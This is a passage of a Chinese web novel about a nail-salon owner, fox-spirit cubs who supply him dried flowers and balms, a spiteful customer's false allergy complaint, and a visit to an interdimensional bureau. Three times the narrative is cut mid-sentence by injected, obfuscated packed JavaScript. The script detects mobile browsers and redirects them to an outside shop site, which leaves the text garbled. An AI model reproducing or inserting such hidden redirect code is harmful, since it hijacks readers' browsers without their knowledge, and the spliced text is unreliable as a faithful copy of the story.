白竹在他怀里拱了拱,从袖袋里摸出个鼓鼓囊囊的银色锦袋展示,“山下的人都喜欢随身挂几个,不过我的更好看!” 宁知夏好奇:“里面是装了什么?” “山里的花花。” 白竹扯开香囊给他瞧,里面是各色米粒大小的花朵,有些已经干了,有些还很鲜嫩,应该是新添进去的。 宁知夏抓了一点出来放手上细看,这些米粒山花即使已经干枯,指腹稍稍施力,花瓣舒展平整脉络清晰,颜色也均匀明艳。 “你喜欢吗?” 白竹眼睛开始发亮,觉得宁知夏好有品味,小手捏着香囊往从领口往他衣服里丢,“送你好了,山上的花花有好多呢。” 有很多?那岂不是正好! 宁知夏心念一动,同他说道:“宝,咱打个商量,能不能帮忙做些干花给我?我做美甲需要这个。” “用干掉的花花?” 白竹歪着脑袋眼珠滴溜溜转,发现宁知夏没有说笑,学着电视屏幕里的演员的动作,伸出小手,“好呀,不过要用零食换!” 宁知夏捏着还沾满锅巴渣渣的小手摇了摇,爽快答应:“成交。” 和宁知夏达成交易后,四只狐狸崽就蹿回妖山里开始忙活。 很快,精挑细选的山花被许多爪垫压了又压,小心装入木盒里收好,送到了宁知夏面前。 “锵锵!” 白竹踮着脚,下巴枕在桌面,身后的尾巴快速摇动,“宁哥哥你喜欢吗?” “哦哦哦哦!成色真好!” 宁知夏抓了一把检查,很满意地把一大包零食推过去,“居然采了这么多,够我用好久了。” “用……好久?” 白竹刚抱上零食,茫然地眨了眨眼睛,顿时觉得晴天霹雳。 这不就代表着,宁知夏许久都不再需要干花,自己也没法换零食了呀! 他喉咙里低落地嘤呜了声,忽然想到什么,连忙拉住宁知夏。 宁知夏问:“怎么了?” 白竹仰头说道:“哥哥你喜欢香膏吗?我再和你换吧!” 香膏? 宁知夏倒是听说过古法香膏,心里来了点兴趣:“你说说,是用这些花做的吗?” “嗯嗯!我们山灵气充裕,花花开得很好,经常用鲜花做香膏,可以涂脸也可以涂手,我们每天都用!” 白竹激动地比划着,怕宁知夏不信,揪住衣服让他弯腰,把小脸蛋可劲儿往他跟前凑,“你摸摸,你摸摸,香香滑滑可舒服啦!” 清甜的气息确是令人神清气爽,宁知夏笑嘻嘻地和他蹭了蹭脸,觉得自己都变香了。 于是他说道:“你回去拿些样品给我看看,如果满意我就和你换。” “好嘟!” 白竹大喜过望,生怕他反悔似的,抱住零食就跑。 第二天,晴空万里,猫猫们集体去客厅的窗台趴着晒太阳。 因为不是所有客人都喜欢猫,宁知夏用冻干引导过几次,这些毛团很懂事地不来工作区晃动,现在正用爪子捂住眼睛睡得打呼噜。 曲半青刚做完一单,暂时没有客人上门,于是打了个招呼出门买菜去了。 满预约不是天天都有,宁知夏收拾完桌面,嘎嘎笑着准备去埋猫肚皮。 “哈喽?请问你家现在可以做指甲吗?” 一个妆容精致,穿着洛丽塔裙的女孩从门口进来,晃晃手机说,“不过我没预约,而且得做延长甲。” 宁知夏的恶行被打断,他回工作区拉开座椅道:“来吧,刚好有时间,想好款式了吗?” “我还没想好,但是想做春天氛围一点的……” 女孩摇了摇头,其实她约了商业区的大店,谁知预约混乱被熟客插了队,一气之下直接走人,路过清溪路时瞧见这家店的装潢好看,这才被吸引进来。 宁知夏一边听她吐槽,一边安慰,顺便做好光疗延长和前置。 他的手又稳又快,半贴甲片没有一点气泡溢胶的过程,与甲面形成的“台阶”在打磨之下变得平滑自然,等加固胶流平后缘,整个甲床弧度自然漂亮。 女孩余光不经意地瞄向做好延长的手,逐渐止了话头。 她也是做美甲的常客了,许多店装修好结果只是虚有其表,让她踩了不少雷,不过这次搞不好要挖到宝了…… 考虑到客人想要的风格,宁知夏打开木盒推过来,不确定地问道:“你看用干花来做行不行呀?” 女孩凑过去瞧,小小地“咦”了一声。 市面上的干花大多是用白色翠珠剪小朵压平,再用彩色墨水浸染,五颜六色倒也齐全,就是看久了有点塑料感,想要做精致也行,但对美甲师的色彩搭配和审美要求就有点高了。 然而木盒里的小米花与她在别店见过的完全不同,花瓣纹理细腻,颜色如水墨晕染般浓淡相宜,甚至还有不少精致重瓣。 光是看一眼,就能感受春日讯息。 之间就有不少用干花做法式的款式,女孩喜欢这些小花,但又有点迟疑:“感觉有点没什么新意,法式干花我去年春天做过了。” 宁知夏当然不会随大流,拿出平板画出草图,同她大致说了大致想法。 什么叫花瓣流动于指尖? 女孩听得有点迷糊又有点好奇,见对方一脸诚恳,想着来都来了,点头答应下来。 宁知夏点头,掏出手机,“那好,我摇个人。” 很快,提着大包小包吃食的曲半青就从超市回来。 他听宁知夏说完,神情恍惚:“吾儿,你说你这小脑袋怎么这么敢想……” 宁知夏:“^v^” 曲半青伸手怒挼狗头,然后噔噔噔上楼去拿工具。 宁知夏也不耽误,留了食指和无名指出来,其余手指用透白色薄薄打底了一层。 因为女孩穿的是春夏田园氛围的洛丽塔裙,宁知夏没有再用水彩,选了白色丙烯,在甲面中间部分以横向来回薄涂出不规则色块。 女孩惊讶:“还能用丙烯吗。” 宁知夏埋头划拉:“能的,马克笔和彩铅都能。” 在他看来美甲就是在指尖作画,许多方式方法互通共生,玩出的花样才能迭出不穷。 宁知夏刷了封层照灯烤干后,又抛弃丙烯拿出了一盒带有偏光的仙粉膏,选了橘金微绿两种色号轻柔叠加。 “啊……” 女孩许是吃过翻车的亏,愁得想要开口拒绝,这玩意儿质感跟水泥似的,看着好涂抹,稍微不慎就能变成发光大苍蝇。 可这位小哥埋头做得认真,她一时半会有点不忍心叫停,只能来回看着平板里的草图自我安慰。 “好了,看看吧。”宁知夏弄好一只手让她瞧。 “没事哒没事哒……” 女孩念叨不停,坐直身体凑过去一瞧,顿时惊喜万分道,“好看的呀!” 整体效果比水彩呈现氛围感稍稍厚重,然而几种颜色涂得很浅,晕染过度自然完全没有突兀感,甲面透着朦胧珠光的仙气,像极了微光里的梦幻田园。 “呜呜呜怎么能这么美!” 女孩忍不住对着半成品拍了几张,给闺蜜群里刷刷发图,收获一顿乱夸。 宁知夏见她没意见,又开始贴干花。他选了完整的花朵为甲面重心,用镊子扯碎其他花瓣放置在周围,整体位置轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719037|144814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盈不紧凑,像是被风吹散般灵动。 其实现在的效果已经很完美了,然而曲半青还得继续接手,从箱子里缓缓掏出了注油瓶流沙油等工具一字排开。 女孩这才记起还有四个手指头还没施工,声音颤抖道:“这是要做什么?” 曲半青骄傲挺胸:“流麻!” “!!!” 女孩满脸震惊,突然觉得自己手上长的是十块吧唧。 宁知夏在旁边哼声:“这么好看的干花,乖乖用来当贴纸可没意思,说了要动态就得动起来!” mad,这么叼! 女孩被他说得心动,热血沸腾地一起欢呼:“开搞开搞!” 流麻的形式用于美甲其实有不少方法,两人尝试几次后,选择用透明胶片和硬式建构胶在甲片底部和指尖顶部做了隔断,留出中空部分。 不过打磨边缘时必须万分小心,很容易打磨过度导致之后出现溢胶的情况。 女孩看着两人小心翼翼的动作,也不禁紧张起来,等初步完成,齐齐松了口气。 接下来还需要放干花再注入流沙液,此时已经忙活了快五个小时,曲半青中途还去厨房炒了盆杂蔬蛋炒饭,几人分着吃得满嘴油。 女孩已经完全上头,刚吃完饭就把手伸过去,目光灼灼一副迫不及待的模样。 宁知夏脸上还沾着米粒,火力全开搞完后续流程。 他们三个脑袋凑在灯下,神色紧张又期待。 宁知夏催促:“晃晃。” 女孩试探性地晃动指尖,瞬时间无数花瓣如浸入春水般飘浮。 三人激动叫唤—— “吼吼吼吼吼!” 成功啦! 女孩玩得起劲,边拍返图边对趴在桌上休息的两个人夸道:“你们好厉害,这是我做过的最棒的美甲了!” 嗯?今日夸夸已收到! 宁知夏身上的疲劳一键清空。 他叉腰挺起胸膛:“这点难度算什么,我还能设计更——唔唔!” 曲半青及时捂嘴,双眼泛出泪花—— 吾儿,收手吧! 宁知夏眨眼:好啵。 女孩似乎很擅长拍图,返图不需要再怎么修改,宁知夏直接上传账号,顺便添加了活动话题。 平台里正有许多人在话题里寻常美甲款式的参考图,可惜春日系列是每年热门话题,很少再添新意。 然而一组新动态突然出现,瞬间将注意力拉爆眼球。 干花美甲并不新奇,只是这家店的干花质感相当不错,又用仙粉膏与丙烯叠加提升整体精致感。 左手中指选浅丝绸色肥方当主钻,另一只中指沿着甲床底部后缘贴了串形状不一的碎钻,穿插点缀两颗小珍珠。 最重要是,动图里手指的主人将指甲倾斜,堆云叠雪般的花瓣霎时间缓缓倾落…… “卧槽!你们美甲圈卷上天啦!” “怪物同行又是你们!千万别让我客人看到!” “还是现代好,不用献祭就能看见老师神迹!” “流动性好强,太上头了,我感觉我能一直玩!” “店主晕染技法好娴熟,而且华子钻贴得好干净,切面也没影响,能不能出个小教程呀?” “简直美不活了!请问干花是在哪里买的?” “好耶,吧唧戴手上指日可待!” “这种做下来大概要花多少张?” 隔天吃早饭时,宁知夏还在悠闲地用油条泡豆浆,手机里忽然收到了平台的新通知。 【恭喜您发布的新推文在“春日指尖活动”获得最高热度,翌日起可享开屏广告位推荐一天!】 “什么?” 宁知夏被呛了口豆浆,“我昨天才发啊!” 曲半青也是震惊:“你花钱买推送了?” “没有哇。” 宁知夏茫然摇头,点进账号里快速浏览,很快发现点赞最高的问价评论下方,有人回复—— 鹿瑶光:“15张~” 他点进去对方的账号首页,惊讶发现昨天那女孩竟然是个挺有名气的美妆博主,不但认领了返图,还发了视频可劲儿夸夸。 宁知夏喃喃:“嚯,这姑娘好厉害,粉丝几十万呢……” 他忽然想到什么,神色一顿,手指颤抖地点开私聊页面,新冒出的气泡框简直划拉不到头。 “哞哞……” 两人一起发出牛马的叫声。 10. 香膏 与此同时,位面管理局的走廊里摆了一排散发阵阵寒气的冰雕,原材料全是上次103位面渎职的管理员。 各位面的天道小组们每次路过,都觉得自己像个如履薄冰的猴。 主神新任命的局长先生虽说不常出来晃悠,动手不动口的风格让他们心有余悸不敢敷衍。 然而刚大换血的103天道小组悠闲自在,清闲得像个养老部门。 众人大惊,这不应该啊! 管理局的职能是保证各位面不会崩坏,平时尊重各位面运转规则即可。 但妖灵世界的刺头是出了名的多,就如同上次那样,如果不加以干涉,按照推算很快就会演变成全位面混战。 况且偶尔还有大妖道士狂修苦练,成功就杀上天道执剑问苍天,失败就黑化到全天下陪葬,崩坏指数常年飙红。 总之天道小组和位面生灵,总得遭殃一波。 103小组现在还如此悠闲,简直是有种破罐子破摔的疯癫。 “你才癫。”103小组的代表翻了个白眼,拇指朝后往光幕一指,得意哼道,“看见没,时代已经变了。” 灵气浓郁的妖山安静祥和,待到白雾散去,一串妖灵幼崽排好队,有的挎着小篮子,有的背着小竹筐,大尾巴一摇一摆沿着山径小道在深山穿行。 若遇见拦路的大妖,领头的狐狸崽就会举着竹篮晃晃,对方很快就让开。 幼崽们去往半山腰的花丛里快活打滚,再跑到自己的小篮子旁边抖毛,无数细碎山花簌簌落下。 等收集得差不多了又呼呼跑到山顶,选了日照最足的平整石头,把收集到的山花全部铺好挑选,撅着尾巴趴旁边慢悠悠地拔掉花托。 这什么田园日常,群妖种田记吗? 安宁祥和的景象让众人看得傻眼:“怎么会这样?” 103的管理员耸耸肩:“这些天狐狸崽们拉着好多妖灵干活,没空戏弄凡人,少了好些冲突。” 最动荡的妖山都安宁一片,整个位面算是迎来大减负。 众人看得有些羡慕,好奇道:“他们弄这么多花是想做什么?” 103的管理员摇头:“不造。” 反正能消耗妖灵们的旺盛精力就够了! 狐狸崽们并不知道,天穹之上还有群打工天道在窥视讨论。 他们专心挑选石头上的花花,按古方制作出香膏,带着三十个小瓷罐来到宁知夏面前。 “怎么样?我们的货合格吗?”狐狸崽们绞着手指,眼巴巴地看着这位质检员。 宁知夏拿了一罐试试,膏体质地软糯清润,抹在手背很快化开,就算是这个季节,用起来也不会觉得黏腻。 宁质检员背着手点头:“我要啦!” 狐狸崽们欢呼:“哇!好诶!” 宁知夏其实要不了这么多香膏,既然送都送来了,就当留着给客人的一点小礼物。 于是隔天他去完善香膏的备案手续,办理了许可证,事后按照约定,买了十来箱各种口味的薯片饼干交给白竹。 最近来了许多新客,预约排得满当,她们在网上刷到了这家店的评论决定过来试试。 鹿瑶光给粉丝描述的视频里没有夸大其词,小屋外的花架春意盎然,窗台还趴着几只臭屁小猫夸夸可撸,美甲技术也对得起价格。 客人做完美甲,忍不住说:“老板你这儿什么味?闻着好香啊!” 曲半青笑嘻嘻:“生骨肉味。” 客人:“?” 宁知夏面不改色地把他拱开,捧着小瓷罐说:“是这个香膏的气味。” “噢噢。” 客人好奇地拧开盖子抹了点,凑近闻闻。香膏的气味清雅微甜,没有香精调和的廉价感,就算闻久了也不会头晕腻味。 她惊喜道:“这个怎么卖?” 宁知夏支吾:“最近搞活动,首次满五、五百就送一罐。” 客人拍桌:“这么——” 宁知夏紧张:“额,其实也可以少……” 客人:“划算!” “嗯呢~”宁知夏立马闭嘴微笑。 客人当即爽快地往自己要做的款式里又加了两颗华子钻,直到离开,曲半青还满脸不敢相信。 卧槽,这也行? 原本以为一切随缘,香膏没人要就自己用,没想到狐狸崽们的香膏出乎意料的受人欢迎。 只要是上门对香膏感兴趣的客人,都会加点预算凑个整,带一罐香膏走,人均消费因而拉高许多。 曲半青举臂欢呼:“加大产量!” 宁知夏紧握双拳:“稳定客源!” 转型升级一切都那么妙不可言! 于是白竹很快接到了美甲店的新订单,喜滋滋地递交了张零食清单,在区区三百岁就带领妖山的幼崽们实现了零食自由。 “这群崽可真能吃,小三轮拉的货这才多久就没余粮了。” 宁知夏对照清单在超市下完单,照旧哼着小曲儿打开平台上传最近的返图,没过几秒,哼曲的声音渐渐止歇。 宁知夏翻动着评论区,皱眉喃喃:“啥啊这是?” 最顶端的评论有个账号言辞激烈,怒斥遇上不良商家—— 金秋如梦:【收费这么贵,一颗玻璃钻要我好几十,做得还垃圾!而且那什么破香膏,用了之后皮肤过敏弄得我手背又红又肿,一双手全被这家店毁了!】 评论下方许多人都在回复自己也用了香膏,没有出现任何过敏情况,而且店内有价目表,如果对价格有异议完全可以换家店。 金秋如梦:【我想去哪家店就去哪家店,你管得着吗?】 金秋如梦:【贵还不让人说了?】 只要帮着店里说话,纷纷被这人说成店主请的水军,也有人让她拿出过敏证据,却被她避重就轻地挡回去,评论区一时间被搅合得乌烟瘴气。 宁知夏点开对方发来要退款和医药费的私聊,心里大抵有数,回复道:[那你报警吧。] 金秋如梦气急,叫嚣道:[好啊,信不信我让警察局拆了你这店!] “拆了你这店~这都能使唤得动,你有多大的本事?多大的面子?” 宁知夏盯着屏幕里不断弹出的消息,小嘴一撇,发出嘲讽梅花音,“啊?” 晚上狐狸崽们带来新的一百罐香膏给店里补充存货,规矩地摆进柜子里后,一窝蜂地挤到客厅的长沙发,催促曲半青给他们放动画片。 “吸溜吸溜……” 四只狐狸崽窝在沙发里好不惬意,一手抱尾巴一手抱奶茶,埋头努力嗦着杯底的透明冻冻。 宁知夏难得没去凑热闹,在楼上气呼呼蹬动感单车。 “咱也不靠你发电,蹬那么起劲干嘛?”曲半青打量他一阵,凑过去问,“说说,怎么回事?” “呼。” 宁知夏从鼻孔里出口气,满脸不忿地把手机递过去,同他说起今天的事。 “唔?” 白竹嗦奶茶地动作一顿,推推旁边的姐妹,几只狐狸崽互相看看,默契地支起了头顶的三角耳。 “这人谁啊?” 曲半青看见满屏污言秽语嘀咕,一下瞪大了眼,“咱没得罪过她吧!” “前两天来的,住附近的那位金大婶。” 宁知夏惨兮兮地帮他回忆,“泡面头全包眼线,怀里差只邪恶摇绒粒,装备就全满。” 曲半青呆滞:“啊……” 当时除了付钱时嘀咕了几句,也没出什么岔子,没想到会在这儿挖坑等他。出事后,宁知夏向附近商家打听过,不曾想这人也是有点运气在身上,报警也好调解也罢,总有空子让她钻,闹腾半天全然和没事儿人一样。 虽说大多客人都相信宁知夏,但架不住旁人煽风点火,到时候成了瓜店也太影响累积的信誉形象了。 宁知夏小声叹气,抬头瞥见曲半青抿着嘴不说话,愣了下,他不喜欢自己的坏心情影响别人,立马撞他肩膀说:“我就发个牢骚啊,不许抿嘴。” “哼,我不问你也不说。” 曲半青也撞撞他肩膀,“那你打算怎么办?” “嗯……” 与对方的私聊都有截图保存证据,宁知夏想着金额太小估计构不成勒索,打算先把香膏送去检测发个公告解释。 他说完有点不确定地问曲半青,“这样处理你觉得合适吗?” “嗯?哦……” 曲半青像是听得走神,被人又拱了一下,点头答应,“行啊,明天多睡睡,我拿去送检就行。” 宁知夏小声嘟囔:“我去吧。” “莫非你还怕麻烦我吗?”曲半青捏着他的脸左右扯扯,盯着他眼睛轻声道,“别担心,好好睡一觉,也许第二天起来就发现没有什么烦恼值得你困扰。” “好哦!” 宁知夏“嘿嘿”笑起来,又开始像两个幼稚小朋友般你一下我一下的撞撞肩膀。 曲半青见他debuff消退,说去给大家炸点鸡腿鸡翅当宵夜,下楼时随意一瞥,沙发里的几个崽正看得分外投入。 等人进入厨房,狐狸崽们互相蹭蹭尾巴,心照不宣地露出小尖牙。 秒针滴答走动,屋门开了又关,今夜天穹黯淡失色。 冷色白光从手机屏幕射入,映照在女人饱含恶意的脸庞,她指尖不停地敲击,评论区很快又刷出十来条差评。 做生意的谁不在乎口碑,她要的“补偿”又不多,从前缠上的商家都会自认倒霉交钱了事,这招算是百试不爽。 金大婶洋洋得意,夸张地打了个哈欠靠在躺椅刷起短视频,没过多久,渐渐困意上头。 “嗡嗡嗡嗡……” 朦胧睡意中,耳道深处似有什么东西震动,刮在耳膜如雷震动,金大婶烦躁地用手指往里掏。 窸窸窣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719038|144814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窣的动静在耳朵里响个不停,她转动着小拇指,忽而一喜,还真让她掏出来点东西。 金大婶低头一看,不过是朵那家美甲店一样的碎烂干花,此时红得像抹鲜血沾在指腹。 她嫌恶地甩手丢开,先才的振翅声又响起,连忙偏头继续用手指拨弄—— “簌簌……” “簌簌……” 一大股干花怎么弄也弄不完,像是被水泡发般撑堵在耳道,越来越多,越挤越疼,从耳孔如泉涌般向四周“噗噗”喷出—— “啊!!!” 金大婶被吓得大叫,猛的睁眼,天花板吊灯散发着昏黄的光晕映入瞳孔。 豆大的汗珠从额角滚落,金大婶颤巍巍地摊开手,手心里什么都没有,她怔了片刻反应过来不过是场梦,恼怒地低骂了句晦气。 还没庆幸多久,耳道里熟悉的痒意再次传来,她抓起钥匙串里的挖耳勺,发狠似的一掏,红色的花瓣“啪嗒”落在身上,逐渐变成某类昆虫的下半截身体,不停地蠕动残肢…… 金大婶瞬间脸色苍白,颤抖着摸向耳朵。 “窣窣……窣窣……” 拦腰掐断的半截虫体似乎蠕动着触脚爬得更深了,耳膜被它的口器啃噬,尖锐的疼痛随之传入骨髓,她痛得趴伏在躺椅,发出急促的低声嚎叫。 “呼!呼!呼!” 金大婶再次睁眼捂住心口哧哧喘气,全身像从水中被捞起般大汗淋漓,不知何时滚到了地板。 屋里漆黑一片,只有电视满屏雪花在不停闪动,在地面射出苍白冷淡的光。 黑暗中满地乱摸的手背忽然覆上一片冰凉,她浑身颤抖着抬头,瞬间流露出了惊恐之色,翻着白眼“咚”的一声晕倒在地…… 隔天大早,阳光明媚,猫咪们在自动喂食器吃了早点精力充沛,蹲在花架旁边歪头思考今天祸害哪朵花花。 宁知夏睡到十点蹦跶下楼,瞧见茶几还有喝空的奶茶杯,歪头抓了抓头发。 昨晚只顾着心烦,都没有陪狐狸崽们看动画片,连人家什么时候走的都不知道。 他把杯子丢进厨房的垃圾桶,灶台上的砂锅留了熬煮的白粥,面上还凝固着一层米油,这时温度合适,用汤勺搅搅就能盛出来配小咸菜。 宁知夏刚端着碗出来,就见曲半青提着东西回屋。 “买啥呢?”宁知夏小狗似的朝他嗅嗅。 “顺路买的李记卤菜,他家卤的猪耳朵可香了。” 曲半青打开盒子,正好丰富一下桌上的白粥套装。 “呜呜妈咪你真好!” 宁知夏小猪扑食吃得喷喷香,解了馋瘾捧着碗问,“对了,检测报告什么时候出呀?” “你说这个啊……选的加急已经到手了。” 曲半青把电子报告发给他,开心地扬起下巴,“看吧,配方很干净,一点致敏物质都没有!” “哇!棒棒!” 宁知夏放下碗,连忙截图准备发到账号澄清。 蔫巴了一晚的白菜苗又重新嘚瑟起来,曲半青拍拍他脑袋,拿着碗筷去厨房洗碗。 宁知夏欢乐地点开平台,谁料评论区里昨日还糟心的恶评被删得一干二净,对方账号也显示已被注销。 “……唔?” 很好,全副武装上战场,与白旗相望心茫然。 宁知夏不懂对方为什么一夜之间良心发现,事出反常他也不敢掉以轻心,赶紧把来龙去脉编辑好,配上检测报告一起发布在账号。 “叩叩!” 修长的手指屈起指节,在窗棂轻声敲击。 宁知夏抬头看过去,发现奥德罗站在窗前,及腰的银灰长发被风吹得飘舞。 一身皮毛蓬松亮滑的三花猫蹲在窗台嗲叫,支着脑袋朝他嗅嗅。 奥德罗看着它,慢悠悠地伸出一根手指悬在它翕动的鼻尖,小三花眼睛发亮,飞快地张嘴就咬。 可惜对方故意逗弄似的,尖牙都快贴到指腹了,指尖又倏地移走,反而屈指弹了下它脑门。 小三花用爪爪捂住脑袋,气急败坏地喵喵叫,可使坏的人满眼兴致,大有再来一次的意思。 宁知夏茫然打断:“哈喽?” 奥德罗闻声,抬眼看向屋内出声的青年,春日湿冷未退,他还穿着有小狗耳朵的连帽薄绒睡衣,软绵绵的一团,眼睛亮晶晶的像盛满了光。 冰冷修长的手指已被三花猫抱着怀里满足舔舐,奥德罗倒是无暇顾忌,他只是在想若是寒冬腊月,这个小人类会不会裹得像颗球,轻轻一推,就能轱辘轱辘滚出好远。 宁知夏见他盯着自己半天不出声,又问道:“是找我吗?” 奥德罗“嗯”了一声,问:“有空吗?” 宁知夏:“……有。” 奥德罗点头:“那跟我走一趟吧。” 宁知夏:“……?” 他是陷入什么循环情节了吗? 11. 局子捞捞 “抓、抓住他们!” “腿这么短,居然还挺能跑!” “诶,窗台不可以上去!” 毛茸茸的狐狸崽四处乱窜,管理局的走廊简直成了跑酷赛道。 “白竹桑跟上!(叼尾巴回头)还不能在这个时候放弃呀!” “米娜!(跳下窗台)我来啦!(左前爪撑地)” “可恶,不要小看我们之间的羁绊啊!” “呐,会坚持下去的,对叭!” 他们飙着泪花边哭边跑,硬是营造出一种狐狐永不言败敢于抗争的热血氛围。 “宁老板究竟给你们看了什么啊!” 陆槐的手裂变成无数枝条,一根捞一只,通通打包塞进办公室,心累地把他们赶到房间最靠里的位置,“站好站好,再跑就揍屁股了!” 狐狸崽们眼眶通红地贴在墙壁排排站,大尾巴挨挨挤挤,在身后簇得像撮三叶草。 管理员挑眉,得,还是只名牌崽。 宁知夏也算是管理局的熟客了,路过的管理员瞅见他,人机似的表情顿时像植入新程序般笑呵呵招呼。 “宁老板来了呀?” “宁老板肚子饿不饿呀?” “宁老板要吃小点心吗?78号位面最热门的史莱姆果冻派!” “不了不了……”我惜命。 宁知夏摆手摆得像三档雨刮器。 他跟在奥德罗身后进屋时,白竹正被姐妹挤在中间,嘴巴抿得死紧,眼泪在眼眶里打转。 一见到熟悉的青年,顷刻间就绷不住了,抖着声音抽噎:“哥哥你终于来了……我要被做、做成围脖了呜呜……” 有一个冒头,其余狐狸崽也跟被传染似的,压着耳朵仰天嚎啕,整个房间凄凄惨惨戚戚,管理员们手足无措,摆手慌张解释对他们的皮子不感兴趣。 眼看声波攻击愈演愈烈,奥德罗慢悠悠走过去,朝泪眼婆娑的幼崽们俯下身,在宁知夏看不见的角度张嘴。 “嗝!” 哭声戛然而止。 狐狸崽们瞪圆了眼睛,像看见了极为惊悚的一幕,全都乖乖地噤声不敢动,低头用力抽了抽鼻子。 宁知夏好奇探头想看:“你做什么呢?” 奥德罗已经转过身,神色如常地对他眨了眨眼,竖起手指放在嘴边示范:“就嘘了一声。” 宁知夏深信不疑,一个劲儿点头:“噢噢。” 奥德罗弯了弯唇角,将目光再次投向那群安静下来的幼崽。 他伸出细长的手指,眯着眼像是点兵点将般在几个颤巍巍的脑袋上方来回移动,最后停在白竹头顶。 白竹缩着小手打了个颤:“嘤嘤!” 奥德罗往狐狸崽背上一杵,把他从一排毛团中戳了出来。 白竹顺势扑过来抱住宁知夏大腿:“宁哥哥!” 宁知夏:“哎呦哎呦轻点扑,你们不是回自己的位面了吗?” “没、没有回……”白竹低着脑袋交代,“我们趁时间到了偷溜出门……去教训了那个坏大婶!” 什么? 怪不得对方偃旗息鼓了! 宁知夏激动搓手:“你们还有什么惊……” 管理员们带着满身爪印,面无表情地干咳一声。 “……吓是我不知道的。”宁知夏话锋急转,干巴巴地说道。 狐狸崽们抱住尾巴委屈地抽噎了下:“我们想给你出气的呀。” 奥德罗在一旁慢悠悠地说:“每个位面都有运转规则,站在管理局职能的角度看,你们不能越界干涉。” 宁知夏试探着接话:“那站在你个人角度上看……” “做得不够利落。”奥德罗饶有兴致地点评。 就像头上要是没压着管理局局长的名头,下一秒就能去给狐狸崽们打个样儿。 他一副跃跃欲试的表情,看得管理员们瞬间捂着心口咳得像得了肺痨,心累到极点直接痛苦闭眼。 有您是我们的福气。 宁知夏忍不住问:“你们对金大婶干啥了?” 狐狸崽们互相看看,哭兮兮地比划:“没有下什么重手,只是用噩梦吓唬……” 他们含住泪花,抱着尾巴抽抽噎噎地说着经过,忽然从身上抖出几根鸡毛。 宁知夏捡起来,疑惑地晃晃:“这是去哪儿收的物料?” 奥德罗淡声补充:“从居民区迷路到了郊外,被管理员找到时正在鸡舍吃自助。” “嘿嘿。” 狐狸崽们咂嘴回味,“大晚上的,来都来了……” 宁知夏听得震惊:“毛都没拔你们也吃!” 众人齐齐扭头看过来:“!” 朋友,这是重点吗! 想到他们是从自己的连接点偷跑出去的,宁知夏赶紧腼腆搓手:“那个抱歉哈,因为我个人的私人问题占用了公共资源……” 陆槐连忙摆手:“还好都是小事。” 说到底也是那位金大婶自己惹到了这些记仇的家伙,好在狐狸崽没有那么高修为,除了被吓坏也没有别的问题。 见狐狸崽们乖乖地排好队,从奥德罗打开的通道回家,宁知夏松了口气。 他由奥德罗陪着一起出门,走到楼梯口等电梯时,宁知夏怔了一瞬。 面前的电梯没有古怪的贴纸,总体来说很正常,而且连出现的位置也改变了…… 宁知夏歪头,看向以前电梯的方向,发现那里只是一堵厚实的墙壁。 他默了下,问奥德罗:“之前的电梯呢?” “丑自闭了。”奥德罗看了眼白墙,略感遗憾。 宁知夏:“……” 直觉告诉他,最好别问那玩意儿是什么。 很快,黑色轿车停在了清溪路,宁知夏见奥德罗也跟着下车,觉得人家真是客气,挠头不好意思道:“其实今天也给你们添了不少麻烦,就送到这儿吧。” “我要去你家旁边的面包店。”奥德罗朝路边一个方向指指。 宁知夏干巴巴道:“你的直白让我的客套显得很尴尬。” 奥德罗怔了一下,很认真地问:“要重来吗?” 你真的在玩什么攻略游戏读档回档吗! 宁知夏给他扣了半颗心,并说道:“不用。” 去管理局转悠了圈,一来一回没有耽误多长时间,春日午后光影摇曳朦朦胧胧倾斜在两人肩头,快要走到19号时,宁知夏支起脑袋嗅嗅,很快闻见充斥奶油与坚果气息的烘焙香味。 果然,那家店的玻璃橱窗摆满了刚出炉的面包,不少情侣悠闲地坐在窗边,吃着小蛋糕轻声闲聊。 奥德罗在粉色泡泡的氛围中径直走过去,想起什么似的,问宁知夏:“吃吗?” 宁知夏暂时不想吃甜的,摇摇头:“不用管我,你自己点吧。” “好吧。” 奥德罗来到收银处,垂眼全神贯注地看起甜品单。 即使是穿着简单的浅色开衫,出众的外貌依旧让旁人的目光若有似无地飘在两人身上。 店员认识宁知夏,见他们一起进来,迅速投来视线,脸蛋堆出的笑容堪称祥和。 多好的时间,多好的景色,一起坐在清香的花树下分吃一碟果酱夹心的小蛋糕……你一口,我一口…… 唔,又幸福了呢! 浅磕之际,她听见这位模特似的长发青年缓缓开口—— “给我三个熔岩牛角包,两个草莓甜甜圈,冰淇淋泡芙和香草奶油泡芙各来一份,三角切件要虎皮芋泥、薄荷黑巧和抹茶树莓,再加一盒海苔肉松小贝… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719039|144814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 